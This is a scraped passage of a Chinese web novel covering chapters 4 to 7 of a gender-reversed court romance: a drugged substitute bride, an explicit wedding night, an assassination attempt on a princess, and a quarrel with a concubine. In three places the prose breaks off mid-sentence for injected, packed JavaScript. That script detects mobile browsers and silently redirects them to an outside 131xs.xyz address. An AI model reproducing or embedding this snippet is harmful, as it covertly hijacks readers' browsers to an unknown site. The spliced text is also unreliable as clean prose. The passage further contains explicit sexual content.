有了前车之鉴,李公公不允许他再单独行动,故而苏小糖带上小绿出了院落,脚下生风,直奔府中西北角。 戌时,履下石子踢踏,四面俱静,浓墨般的天空沉沉,像要压下来似的。苏小糖一心只记挂着他的宝贝盐水,未曾留心四周。 穿过攀满青痕的拱月门,数个上圆下窄的灰绿瓦缸静立院中。苏小糖眼睛一亮,拔足狂奔,几乎是扑到缸边,打开盖子—— 好浓郁的臭味! 跟在他后面的小绿被熏得后退一步,捂着鼻子从袖中掏出块帕子。 苏小糖却像嗅不到这股气味似的,笑逐颜开。他不知打哪儿取出一个小罐子来,捞了满满一罐浓稠如墨的盐水,里三层外三层密封好,唯恐洒了一滴,然后转头对小绿笑道:“这下我就可以做——唔!” 一股令人窒息的大力袭来,紧紧捂住苏小糖口鼻,湿湿凉凉的触感黏在脸上,似乎还伴随着一股异香。他吓得一手拼命拍打抓挠那只扼住他脖颈的手臂,另一手却始终将他的宝贝盐水死死护在怀里。 这是要抢他辛辛苦苦酿制的盐水吗?! 视野最后,小绿那张面无表情的脸渐渐淡去。 4. 牛眼 “嗡嗡嗡……” 哪儿来的蚊虫嗡鸣声,怪烦人。睡前小绿没点香——小绿?! 苏小糖猛地睁眼。 他这才听清那并非什么蚊蚋声,而是沸腾的人语。侧耳细听,说的是什么“真是金女玉童”“祝百年好合啊”“大喜的日子”“新郎有福气”“早日为妻主诞下一女半男”……随后便是一阵又一阵的窸窣声,下雨似的。 苏小糖对这声音有印象,应该是一些喜糖和铜板,听见过路人说吉祥话,走在送亲花轿旁的下人便从挎着的提篮里抓出一把往人群中撒……所以自己现在正坐在花轿里?! 眼前黑压压的看不清,他这才意识到自己正随着轿身的节奏不断颠簸。动了动手脚,发现竟绑得死死的,嘴上也被布条封住,只能发出呜呜的闷声。 都到了这个节骨眼,苏小糖还有什么不明白的……想不到小绿竟是嫡父的人。 苏小糖懊悔万分。 正盘算着如何逃脱,轿子蓦地一顿,面前的布帘被掀开,亮堂堂的光瞬间泻进来。 透过盖头,苏小糖窥见外头有个穿红衣的中年男子背对他蹲下身,高声道:“请新嫁郎下轿!” 按照惯例,新嫁郎从父家到妻家,被送入洞房之前,脚都不能沾地,寓意“不沾父家土”,即不带走父家的财气。故而会聘请专门的“全福人”将新郎背下轿,一路背着送入洞房。 而这“全福人”也并非随意一位男子即可担任,须是母父、婆公、妻主、女儿都齐全,且身体康健的中年男子,寓意将好运传给新郎,祝愿他将来也成为五福临门的“全福人”。 苏小糖看着那不算宽阔的后背,一想到自己即将踏入王府,登时心如死灰。 “请新嫁郎下轿!”全福人早已收了嫡父的钱财,听他如此这般如此那般嘱咐了一通。见苏小糖迟迟不动,唯恐多生事端,便又放声重复一遍。 这新嫁郎莫不是还没醒吧?那可就糟了。 全福人心中有些焦躁,正要再喊第三声,后背突然压上来一份沉甸甸的重量,压得他险些喘不过气来,连忙捞着那两条腿往上颠了颠,心道这新郎怎么比他先前背过的都要重,想必极受父家宠爱,也不叫他节食瘦身。 可既是受宠,为何又被推出来替嫁?真搞不懂这些富贵人家。 这厢他犯嘀咕,那厢背上的苏小糖也十分郁闷—— 不是他不想赶快下轿,而是手脚被绑得结结实实,整个人跟一尾虾似的,动弹不得,只好先挣开绳索、撕掉布条再行动,否则难道要他弹跳到全福人背上吗? 母亲和瑞王该感谢他才是,还好他力气大,及时挣开了,否则众人见新嫁郎始终坐在轿里不肯出来,这场婚礼不就毁了? ——苏小糖全然不曾意识到自己也在九族当中。 全福人背着他还算稳当地送入喜堂中。苏小糖隔着盖头抬起眼睛,见上首坐着身穿官服的母亲和一袭明黄龙袍的女子,十二旒珠遮面,彩绣辉煌的长长裙裾拖在地上,心想那定然就是九五之尊,不由一凛,缩了缩脖子。 上首一人微不可察地皱起眉—— 新郎甫一入场,始终盯着他的苏傲霜自然没有错过这个动作。 会做出这个动作的,只有…… “一拜天地!”赞礼官唱道。 苏小糖便被牵着转身,朝门外一拜。 “二拜高堂!” 两人朝上首一拜。 “妻夫对拜!” 苏小糖蒙着盖头本就看不清,方向感又差,手忙脚乱,险些用屁股对着瑞王,好在被她一扯红绸转了半圈,这才回到了面对面的站位。 见对面人已弯下身,苏小糖也连忙下拜,岂料两人站得本来就近,他又慌里慌张,哐当一下恰好磕在瑞王额上,痛得两人同时倒吸一口冷气,不由自主后退一步。 厅中霎时安静下来,连吹唢呐的都停了,大气也不敢出。 死一般寂静。 苏小糖捂着额头眼泛泪花——瑞王殿下的脑袋瓜子可真硬,那一下给他磕得牙根发酸、脑袋嗡嗡,脖子都颇有弹性地往躯腔里回缩,他仿佛还听见了头骨和头骨相互摩擦的声音,鸡皮疙瘩都起来了。 “啧……蠢货。” 分明是很悦耳的嗓音,像女郎们走动时,腰间挂着的玉佩与玉环相撞击的声音,但嫌弃之意溢于言表——尤其这嫌弃之意还是冲着他来的。 苏小糖顿时有些委屈。 他也很疼,他也不想这样的。 万籁俱寂中,忽地,上首传来噗嗤一声笑。 那道苏小糖从未听过的洪亮女声说:“鸿运当头,不错。” 话音刚落,鞭炮炸响、锣鼓喧天,喜堂外所有乐器一同放声高鸣。赞礼官也长舒一口气,面带微笑,朗声道:“妻夫头碰头,今生共白头!礼——成——” 苏小糖被送入新房中。 他坐在床沿,抚着打雷的肚子,偷偷从袖中摸出唯一一块糕点塞入口中——那是他昨晚晚膳时藏起来当宵夜的,想不到现在还能拿来垫垫肚子。 他把糕点吞得一干二净,殷红舌尖探出,恋恋不舍地舔了舔唇,尝到了甜蜜的口脂味,才悄声问守在一旁的仆从:“眼下是什么时辰?” “回王夫,申时。” 这一声王夫唤得苏小糖浑身不自在。 申时……也就是说,从昨夜被打晕算起,他已经有十一个时辰没吃东西了! 他从来没有饿这么久过! 苏小糖自觉忽略掉刚下肚的那块糕点,更委屈了。他想掀盖头,却被仆从慌忙按住,“您这是做什么?这盖头只能由殿下掀开!” “我肚子好饿,她什么时候来啊?”苏小糖可怜巴巴道。 “尚书府不给你饭吃么?” ——又是那道明明很好听却特讨厌的嗓音。 苏小糖正欲反驳,眼前却忽然一亮—— 元明瑾接过仆从递上的喜秤,轻轻一挑,那红盖头便翩然落地。 她瞳孔猛地一缩—— 极漂亮的一张小脸,柳叶眉,甜杏眼,卧蚕饱满,鼻背微凸,形状姣好的嘴唇涂着鲜亮的口脂,但…… 元明瑾皱着眉,视线落在他唇角。 那儿残留着一点雪白的碎屑。 元明瑾不动声色地攥紧了垂在身侧的拳头。 她上下打量起苏小糖时,苏小糖也鼓起勇气抬眼,想看看她长什么样儿。 这一瞧,便傻了眼。 女子身形高挑,双肩瘦削却宽,脖颈修长;架着喜秤的手指细长,指甲也修剪齐整,然而掌心近指根处生着四块厚硬的老茧,虎口深深,掌根肌肤也鼓起粗糙一块,一瞧便知是经常拿剑的手。 再往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368440|183928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上是一张鹅蛋脸,剑眉星目,眼角微挑,嘴唇抿直,面色不善……地紧盯着自己。 确实是一副牛样儿,那些食客倒还真没说错……长睫底下一双牛眼大极,又黑又亮,寒星四射,不怒自威,仿佛世间所有的不洁都将被她踏在脚下。 苏小糖不由怔怔顺着她的目光摸了摸自己的脸,并未有何异常啊? 然而随着他的动作,糕点碎屑被指腹刮去,掉在喜服上,元明瑾眼眶睁得更大,眼珠子都要瞪出来,一瞬间仿佛看到了整个天元最肮脏的东西……! 见苏小糖还一脸懵懂毫无所觉,她当即嫌恶道:“来人,把他抬下去洗漱,从头到脚给我好好地涮干净,否则别让他进来!” 听闻苏家长公子乃京中贵男之典范,一天要焚香沐浴个三五次,怎么嘴角还残留着糕点屑?脏得要命。 看来,传闻就是传闻,当不得真。 这么一折腾,元明瑾已经完全忘记初掀盖头时的惊艳,光记得苏小糖将嘴角的糕点碎屑揩掉在衣服上的恶心画面了。 她打开窗,清凉的夜风刹那间呼啸而入,柔柔地扑在面上。 影影绰绰间,元明瑾远远望见西边的院落灯火通明,丝毫没有要熄灭的意思,也不甚在意,回到桌边坐下,慢慢饮了一盏茶。 那厢苏小糖被众仆从七手八脚抬进浴房——当真是抬,这样让他整个人像块平直的板子躺着,那几粒芝麻大小的糕点碎屑便不会沿途掉落。 但苏小糖还是松了口气:还好只是令人涮他,没有一脚把他踢出去,瑞王殿下人还是挺好的。 而且……他忆起刚才所见的那人,情不自禁矮身往水下藏了藏,将热烫的耳根浸在水中降温。 他还没见过这么好看的女子,那通身的气派,真跟天女下凡了一样;下半张脸分明秾艳含情,眉目间却是与之截然相反的英气冷肃,看得他心脏一阵接一阵地鼓噪,简直要冲破胸膛蹦出来似的。 神游天外间,苏小糖已让人按在浴桶里从头到脚被涮了好几遍,包括玉根连带着上头的锁笼,也用绒软的毛刷仔仔细细刷了个遍,涮得他满脸通红,却又软了身子无力反抗。 这锁笼乃经鞣制后的皮革所制,笼身留出用以透气的孔洞,还涂了一层桐油用于防水和保养。考虑到卫生及男子发育之故,通常是七日一换。 每个天元男子自小便要戴上这锁笼,出阁前钥匙放于母亲处,出阁后则交由妻主保管。 一旁自有仆从收拾散落在地的里衣外袍,其中一人见衣服堆中有个小罐子,便问苏小糖:“王夫,这是您的东西吗?” 苏小糖一看,不由大喜——这不正是他昨夜捞的卤水吗?! “你过来。”他招来那仆从,附在耳边如此这般如此那般吩咐了一通。那人领命而去,马不停蹄直奔膳房。 终于洗漱完毕,仆从为他裹上洁净的锦衾,执一支银质刮舌匙细细将他舌苔刮净,伺候着他用牙粉揩齿,以梅花茶漱口后,又让他咀嚼了鸡舌香,最后给他服下五香丸,这才算完。 那仆从轻声道:“王夫莫怪,实在是殿下她……以后您就知道了。” 苏小糖可不擅长猜谜语,一头雾水地被人抬回了卧房。 房中燃着龙凤喜烛,烛火摇曳,淌下艳红烛泪。红绸红帐红枕被,触目皆红。 唯有床上的玉人儿是淡色的。 5. 圆房 新嫁郎像做药浴的鸟雀一般,被卷成长筒的锦衾裹得严严实实,只一颗脑袋露在外面,未施脂粉的小脸上满是慌乱无措,实在藏不住事。 元明瑾俯身压上这具微微颤抖的身躯,拆开锦衾,玉体横陈,那皮革锁笼就愈显突兀。 她盯着那锁笼端详片刻。 男子出嫁与妻主圆房后便可摘掉锁笼,但倘若妻主要出远门,这锁笼该戴还得戴。 苏小糖在她身上闻到了竹林的清香,极淡,却沁人心脾。 存在感也就愈发强烈。 “苏……”元明瑾开口,欲唤他名,却蹙着眉顿住了。苏小糖连忙提示道:“小糖,苏小糖,大小的小,蜜糖的糖。” “苏小糖。”元明瑾从善如流,一把钳住他下巴,居高临下地同他对视,直直望进他眼底,“你很怕我?” 苏小糖紧张地抿住嘴,微微睁大了眼,鼓足勇气不让自己在她审视的目光中落败,“不、不怕的。” “那为什么抖得这么厉害?”元明瑾视线从他睁得溜圆的黑亮眼睛上移开,往下滑,落在他微凸的高挺鼻梁上,不知在想些什么。 “我、我紧张……”苏小糖如实道。 他岂会不知,成亲当晚便要取下锁笼,将守了十八年的处子之身献给妻主。瑞王殿下不像传言中那样凶神恶煞,反倒英姿勃发,如天女再世,他心里自是愿意的。 只是……他不知该如何做。 男子成亲前,父亲会将避火图交给他,令其观摩学习,以讨妻主欢心——可苏小糖一没有父亲,二是被人打晕了塞进轿中的,自然也就不可能接触到避火图,学习更是无从谈起。 “无妨。”美色当前,元明瑾并未起疑,指尖随意地拨开他花瓣似的樱唇,搅动两下里头藏着的嫣红小舌,把人拨弄得几乎快含不住涎液,眼泛泪花,“本王教你便是。” 对于未经人事的男子,她一向是极富耐心的。 钥匙插入锁孔,极细微的咔嗒一声,那锁笼便被取下了。 虽然上头留有通风透气的孔洞,但戴和不戴终究不同。苏小糖感觉那处一凉,不安便漫上心头,下意识伸手去挡。 见状,元明瑾不由失笑:“怕羞?” 苏小糖正抓着被沿挡脸,闻言使劲地摇了摇头,却怎么也不肯出来,只露出一双黑葡萄般的水润眼睛,躲躲闪闪地看着她。 分明是又羞又怕的样子,然而始终没有移开眼。 倒是可爱。 只要不触犯她的洁癖,元明瑾出乎意料地好说话。她褪去衣衫,修长双腿迈开,行至苏小糖面前,扯开他用来挡脸的大红被褥,手掌伸出,轻轻摩挲着他绞了面后光洁柔嫩的脸。 几乎是下意识地,苏小糖像小兽那样,舒适地眯起眼,追随着暖源,顺从地蹭了蹭她粗糙的掌心。 然而下一刻,不顾苏小糖的茫然失落,元明瑾撤开手——坐了上来。 如同每一次领兵打仗,她骑在马上,用毋庸置疑的语气发号施令,每一个士卒都心悦诚服、奉命唯谨。 与她身上的竹香味截然不同,猝不及防地,濒死般的窒息瞬间便将他的理智焚烧殆尽。 他无师自通地伸出舌尖衔住,仰起脸,任她尽情使用鼻背上那处突起,笨拙又努力地,想听到她唇缝中溢出的更多赞赏。 在他的妻主面前,苏小糖知道自己只是温驯的仆从,而他也甘愿匍匐在她脚边,献上自己的忠贞,在她身下变成一匹供她随意驱使的战马。 “殿下……殿下……” 苏小糖忍不住贴着她耳畔,嗓音又低又哑地呢喃,雪白脖颈宛如引颈受戮的天鹅,仰成一道献祭似的凄靡弧度。 元明瑾瞧得眼热,凑近前去,森森利齿探出,狠狠咬下,打标记似的,在那颈侧留下一圈椭圆牙印,深得发紫,边缘渗出殷红血珠。 他的,妻主…… 不合时宜地,眼前蓦然闪过苏宜宜梨花带雨的脸。 苏小糖默默咀嚼这四个字,心中甜蜜就快溢出,却又止不住地惶惶,于是伸出手去,抱紧了只属于他的妻主。 …… 红烛帐暖,云雨事毕,瑞王殿下唤了热水沐浴。 苏小糖饿了多时,腹中早就一阵接一阵地打起鼓,不由得窘迫地摸了摸肚子。 元明瑾正闭目倚在另一个浴桶中,零星爬着淡红瘢痕的双臂展开,闻声睁开眼,又笑:“尚书府不给你饭吃么?” 又是这句话——然而这回与初次听起,心境已大有不同。 苏小糖软着嗓子哀求:“妻主,我好饿。” “那便命人传膳罢。”一看苏小糖的体格,元明瑾便知他与那些一餐吃不到半碗饭的弱质男流不同,对传言的信任度又下降几分。 不过,那些纤弱男子她也早就腻味了,苏小糖这样的倒是头一回遇见。 元明瑾对他依旧在兴头上,所以很是纵容。 ——然而这份纵容在看到仆从端上一碗不明物体时,戛然而止。 那瓷碗里的汤汁倒是清澈,黄绿的酸豇豆和火红的辣椒碎搭配,叫人食指大动。然而里头还浸着些黑乎乎的块状物,虽然切面雪白,但仍是叫元明瑾忍不住皱起了眉。 她鼻尖敏锐地捕捉到一丝泔水似的臭气。 “这是何物?膳房难道无人了么?竟敢端这种东西给本王?!” 她的声音像淬了冰一样冷,仆从吓得连忙跪下,元明瑾按住额角突突跳动的青筋,正要一袖将其挥翻在地,怀里却突然扑进一具刻意放软的身躯,熊抱住她。 “殿下息怒!”苏小糖急急阻止。 岂料他动作太快,扑进她怀里时,平坦微鼓的胸膛擦及她的柔软,方才二人如何鸳鸯绕颈的记忆便一股脑涌入,苏小糖顿时浑身一僵。 元明瑾并未察觉到他的异常,只是眉关微松,但依旧压着眼,不耐道:“你真是皮痒了,本王的命令,岂容你置喙。” 苏小糖能在苏府平安长到十八岁,全因他最擅长的一件事便是看人脸色,这会子又岂会看不出她不过是佯怒。他拥着她,越看越喜欢,遂鼓起勇气,低头在她面颊上响亮地亲了一口,见元明瑾满身冰寒慢慢融化,这才朝她俏皮地眨眨眼,“臭豆腐呀,我特意教厨郎做的,卤水是我亲手制的,殿下快尝尝,可好吃了!” 别看那卤水臭,实际上一点儿也不脏,大把的盐撒进去,什么脏东西都活不成;之所以漆黑如墨,也并非是掺杂了不洁之物,而是用到了一种乌黑的菌菇,这才呈现出那般色泽。 且除了盐和菌菇外,这卤水中还添了笋片、豆豉、苋菜梗,以及增香防腐的花椒、八角、生姜、甘草等物,故而气味虽然难闻了点儿,可尝起来定然是鲜极了。 “……”元明瑾虽未言语,可抗拒之意已溢于言表。 苏小糖见她不动,有些急了,道:“殿下别怕,我吃给你看。” 他执筷夹起一块臭豆腐,正要放入口中,却被元明瑾一掌拍落于地,嫌恶道:“你要敢把这玩意儿放进嘴里,你现在就给本王回苏府去。” 她目前暂时还能容忍苏小糖的放肆,但既然事关她的洁癖,那就分毫也不能让。 此言一出,苏小糖当即便有些伤心。他悻悻地让人撤掉了臭豆腐,赌气侧躺在床上,看也不看一眼后来又端上的满桌佳肴,连元明瑾亲自来哄他也只是哼哼两声,根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368441|183928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本不挪窝。 仆从进来一一打开门窗,向香炉中倾倒香料,错金螭龙熏炉中缓缓升腾出袅袅轻烟,云雾缭绕,那股令元明瑾倍觉不适的气味才慢慢消散了。 她用完膳,净了口,见苏小糖仍执拗地背对着床外,本想去西边的院落歇息,但又思及此乃新婚之夜,王府中潜藏着各方眼线,若弃之而去,外人还不知要如何看待苏小糖,或传出些风言风语,添油加醋,令王府与尚书府关系恶化,便熄灯上床,径自躺到了内侧去。 成了亲的人家都如此,妻主在里,夫郎在外,方便妻主口渴或起夜时伺候,这点苏小糖也知道。察觉到元明瑾一言不发地躺进里侧,他翻了个面朝外,依旧背对着她,“哼。” “苏大人倒是娇惯你。”元明瑾闭着眼道。 因着成婚,她得以休沐三日。虽然明早不用上朝,但她归京不久,还未与友人设宴相聚,今日又疲累一天,早已困乏,正要沉沉睡去,忽闻黑暗里,久未开口的苏小糖小声道: “她才没有娇惯我。” …… 虽然睡前心情低落,但苏小糖依旧睡了沉沉一觉,醒来一看,已是日上三竿。 身侧空无一人,一摸,被褥都是凉的,想来离去已久。 苏小糖心情更低落了。 王夫既已醒,仆从便鱼贯而入,为他净面更衣。打头的是一名穿着朴素的嬷嬷,她正有条不紊地指挥着众仆从布膳,忽觉衣袖被拉了两下。 她低头一瞧,原来是坐在妆台前的苏小糖,忙道:“王夫有何吩咐?” “嬷嬷,殿下去哪儿了?”苏小糖眼巴巴望着她。 “殿下与友人久未相聚,估计酉时才归。”张嬷嬷笑得很是慈祥,“奴是殿下的乳母,姓张,王夫唤奴张嬷嬷即可。” 辰时她进来为殿下更衣,见苏小糖双手双脚将殿下缠得死紧,菟丝花似的将人困在怀里;殿下分明一脸无奈,却没有将人唤醒,反倒一点一点自行挣脱出来,她便知晓殿下定是欢喜这王夫的。 王夫瞧着也不像是个有心机的,比西院那些整日争奇斗艳、惹是生非的小侍不知纯良多少,这样的孩子,她看着也舒心。 乳母?太好了!瞌睡了就有人送枕头,苏小糖双眼放光,忙问起瑞王殿下的喜好来。 昨晚躺在她身侧,他想抱她想得紧,却又碍于还在同她置气。苏小糖痛定思痛,发觉的确是自己做得不对。 万钱楼的臭豆腐虽声名远扬,却也有食客接受不了,落荒而逃。想必殿下也属于接受不了那气味的人。 既如此,他不做那些散发怪味的食物不就好了? 听张嬷嬷说殿下极爱甜食,不如…… 苏小糖久违地吃了一顿饱饭,将桌上佳肴扫荡一空,看得张嬷嬷连连称好,一张老脸笑成了菊花。他心满意足,趁着消食之机亲自到膳房走了一圈,却没发现可用之材。 正一筹莫展,苏小糖眼珠一转,视线忽地被一堆不起眼的棕黑粉末吸引,奇道:“那是何物?” “回王夫,那是前些日子宫里头赐下来的,听说是西域进贡用来做点心的,只是我等还不知该如何使用。”厨娘答。 苏小糖探出指尖蘸了一点,正要放入口中,突然发觉周围一片寂静—— 扭头一看,只见膳房众人无一不满脸惊恐地瞪大了眼。 他这才幡然醒悟,净了手,换成一支银匙,舀起少许,抿唇尝了尝。 甜丝丝的,唇齿留香,浓郁非常,尝起来似乎有些熟悉……啊,对了! 苏小糖想起来了——这不就是前些日子他师母从西域商队那购得的可可粉吗?! 真是天助他也! 6. 舞郎 苏小糖大喜过望。 他挽起袖子,将适量老面加入糖和面粉中揉和,令一旁的厨娘少量多次倒入温水,直至揉成表面光滑的面团后,用湿布将其覆盖,置于日光下半个时辰。 趁此间隙,苏小糖以糖、热水和可可粉搅拌成稠密的膏状物。而后将发酵好的面团擀成矩形薄片,均匀地涂抹上刚调好的馅料,卷起,用沾了油的刀切成一小块一小块,两端微收防止漏馅。 而后在锅底刷上一层薄油,放入面块,以小火焖熟,并不时翻面,直至两面金黄微焦。 苏小糖依次将其切开一道口子,检查是否熟透,而后又调了一份不加糖的可可膏,淋于面块表面,最后再撒上一层可可粉,便大功告成了! “尝尝!”苏小糖高高兴兴地将新鲜出炉的点心端给众人试吃。 那点心散发着一股极诱人的甜香,负责总管膳房的大厨娘却一脸欲言又止,不断用眼神请示张嬷嬷。张嬷嬷只是微不可察地摇摇头,上前从盘中取走一块,率先做了吃螃蟹的人。 “味道如何?”苏小糖眼睛亮晶晶地盯紧了张嬷嬷。 张嬷嬷细细咀嚼着,咽下去,赞许道:“不错,绵软甜蜜,殿下定会喜欢。” 苏小糖露齿一笑,顿时开心得找不着北。 …… 碧波万顷,画舫宏丽。 元明瑾上了其中一艘,施施然落座,那画舫便径直向湖中心而去。 “你可算回来了!”沈华清大马金刀地坐在她身侧,一把揽住她的肩,喜不自胜,“这些日子我搜罗了不少好东西,你不在京中,我都不知和谁分享去。” 这沈华清乃从龙之臣、当朝沈相之子,其父是太上皇最小的男儿,故而她与元明瑾不仅是手帕交,更是表姐妹。 元明瑾再清楚她的尿性不过,闻言眉心一跳,道:“你可别胡来。” “怎么就胡来了?”沈华清不满,拊掌两下,一众舞郎瞬间鱼贯而入,“你可别扫兴啊,今儿我娘又催我娶夫,还让我爹相看了好几户人家的郎君,烦都要烦死了,家里那几个还不够我受的吗?” 轻歌曼舞,香风阵阵,众舞郎仅着布料轻薄的裹胸和下裙,露出一截令人口干舌燥的白皙细腰,妖娆的身姿水蛇般扭动,涂着蔻丹的纤纤玉指舞得人眼花缭乱。 沈华清瞧得眼冒绿光,眼珠子都快掉下来了,元明瑾却瞥也不瞥那群人,只提醒道:“在朝官员不允许狎伎。” “我还没做官呢,怕什么。况且只是请你来看歌舞罢了。”沈华清不以为意,“有我娘和我姐在,我就算整日游手好闲也不妨事。” 真是活脱脱一副二世祖作派。 琴弦铮铮,渐入佳境,二人正凝神欣赏,却见一身披绛纱、手持利剑的舞郎忽然破开众人盘旋而出。他戴着面纱,玉足点地,轻盈灵动,柔韧而不失力量,长臂一展,一时空中竟不见剑影,只余白练似的银光如扇绽开。 沈华清最喜这般厉害男子,当即便激动得腾身站起,眼睛眨也不眨。元明瑾见状不由失笑,饮下一口茶,“无怪她们整日催你成亲。” 沈华清被催婚催得烦极,一听“成亲”二字就发怵。她忽地想起昨日这人正好成亲,自己还去吃了喜酒,遂揶揄道:“比起西院那几个,你那小新郎滋味如何?听说这苏宜宜可是京中贵男之典范,若有哪家男儿不听话了,家中长辈要教训他,便会说——‘你看看户部尚书家的长男!你若是能有他半分省心,今日也不必受这番说教了!’” 她学得惟妙惟肖,还咳嗽两声,用老翁的腔调瓮声瓮气说话。本以为元明瑾会忍俊不禁,却见她非但没笑,反而微微蹙起眉。 苏什么? 元明瑾疑心自己听岔,正待追问,耳畔却忽然被一股寒风猛地一刺——! 身体比大脑反应更快,元明瑾缩身一闪,避过剑锋后,劈面朝那人就是一掌。那舞郎身手也极好,险险让过,收剑又砍,臂上红纱纷飞,嘶嘶吐信的毒蛇一般。 元明瑾虽征战沙场数年,然而手无寸铁,船中空间狭小,又恐伤及旁人,左支右绌,处处受阻,一时竟落了下风;反观那舞郎,出招又快又狠辣,招招都挟着破釜沉舟的决心,淬青剑光直取她项上人头! 画舫中已然乱作一团,舞郎们尖叫着手忙脚乱向外退去,挤挤挨挨地站满了甲板,险些把撑船的船妇都挤落水中;沈华清将来子承母业,走的是文臣路子,根本不会武,此刻更是只能躲在一旁干着急,心中暗恨自己少时不懂事,逞一时口舌之快,竟将那几个武学师母活活气跑。 “还愣着作甚?!” 眼见泛着青光的寒刃就要当头劈下,元明瑾一面双掌死死夹住剑身,与烧红了眼的舞郎角力,僵持不下,掌心都被切出道血渍来,一面侧向沈华清,吼道:“还不快给我找把剑来!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368442|183928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “就来!”沈华清急忙应道。 好在她今日特地带来向元明瑾炫耀的物什里就有一把削铁如泥的宝剑,着急忙慌地翻找一阵后终于瞧见,便连忙抽剑出鞘,往元明瑾的方向一扔—— 元明瑾余光瞥见,蓄力一扬,抬臂将舞郎掀开,接住宝剑,胳膊一抡,反手便刺;舞郎站稳脚跟后,又见银光袭来,连忙抬剑格挡,剑刃与剑刃相撞,火花四溅,擦出令人牙酸的刺耳声响。 “你是何人派来的?!”元明瑾与舞郎隔着两柄薄亮利刃,四目相接,厉声喝问。 “杀你,还需‘何人派来’?”那舞郎气力渐弱,自知不敌,仰天大笑,怒瞪着她的双眼猩红渗血,“没有谁!我想杀你,就杀了!” 话音未落,他手里的剑已被元明瑾挑飞,铮一声插入木地板,剑身深深没入其中,离沈华清不过一步之遥,吓得她两股战战,又向楼梯上爬了两步。 见元明瑾举剑又刺,舞郎无处可躲,只得缓缓闭上眼。剑锋已近,寒气切肤,他正等待自己人头落地,后颈却忽地一痛,再无知觉。 元明瑾挽了个剑花,反手将宝剑收至身后,“好剑。” 手臂却控制不住地隐隐发抖。 眼见刺客倒下,沈华清这才颤颤巍巍地从藏身的楼梯上走下,脸色发白地指挥仆从:“把这人绑起来!送到……” “沈大人。”元明瑾提醒,“先检查他嘴里是否藏了毒药。” 这刺客的汉话夹着些口音,应是异族人。 “对!送到我娘那里!让她好好审问这名刺客,胆敢行刺皇子,长八个脑袋都不够砍!”沈华清终于找回了一些权臣之子的威严,“这些舞郎也全部扣下,给我好好地盘问,这人是怎么混进他们当中的!” “是!” 元明瑾垂下眼,看了看方才被刺客割破的掌心,伤口周围的肉竟肿胀发紫,隐隐有溃烂的趋势,显然凶器淬了剧毒。 她目光一凛。 事不宜迟,她扯过沈华清,低声耳语道:“那剑上有毒,我先离开,这里就交给你了。” 沈华清面色一肃,点点头。 画舫正从湖中心往岸边赶,奈何速度实在有限。元明瑾等不及,行至船沿,正要纵身踏水而去,却又猛地忆起什么,折回沈华清身侧,问她:“你方才说,苏家长男叫什么?” 沈华清茫然答道:“苏宜宜啊?” 7. 缃叶 当啷! 盛着点心的银盘被人挥落在地,正忙得不亦乐乎的苏小糖循声望去,猝不及防见到的就是这幅景象。 他垂下脑袋,盯着几块掉在地上滚了灰的脏脏包,眼圈渐渐泛红。 “这等恶心东西,怎能入殿下的口?” 面前之人还在恶语相向,抬脚碾碎了滚落到他鞋边的一块脏脏包,从中溢出的可可浆迸溅,“苏郎君身为殿下正夫,不说该有多勤勉,至少也不该睡到午时才醒,真叫我们好等。如今又亲自来做这些上不了台面的吃食……” 眼前少年着一袭鹅黄锦衣,细眉大眼,鼻腻鹅脂,口如荆桃,天真可爱,然而唇舌却像浸了毒汁,一字一句直刺苏小糖心窝。 “……知道的是尚书府嫡长男,不知道的,还以为是沿街叫卖的——啊!” 啪! 苏小糖沾满面粉的一掌重重扇在那人面颊上,狠厉道:“你再说一个字?” 他这一巴掌用了十成十的力道,打得缃叶晕头转向,踉跄几下,一屁股跌坐在地,大脑一阵空白,只余脸上皲裂似的痛感愈演愈烈。 缃叶早听闻苏家郎君柔肤弱体、娴静端庄,就算受人当面挑衅也波澜不惊,因而便想给他个下马威——岂料他竟会为几块丑不拉几的糕点和自己动手?! 说好的大家男儿呢?礼仪都学到狗肚子里去了吗? 缃叶全然不曾料到,自己竟也有作此想法的一天。 他心里很清楚自己挑衅王夫是以下犯上,被发现了定然要按家法处置,故而一早便将膳房的人支出去了,没承想此举竟是搬起石头砸自己的脚,被打了也没个人从旁拦着。 而且苏郎君力气怎么这般大?! 每餐只吃半碗饭,也能有这样的手劲吗?! 昨日本该轮到他陪侍殿下,虽然早做好了独守空房的心理准备,可若说不期待殿下抛下王夫来他院中,肯定是假的。 他远远望着主院张灯结彩、鞭炮连天,喜气洋洋,自己却只能苦守着一盏残灯,直至油尽灯枯才勉强睡去。 翌日辰时,按照规矩,缃叶和其他小侍来到主院拜见王夫,却左等右等都不见人影,这才知晓苏小糖恃宠生骄,竟一觉睡到午时才醒。 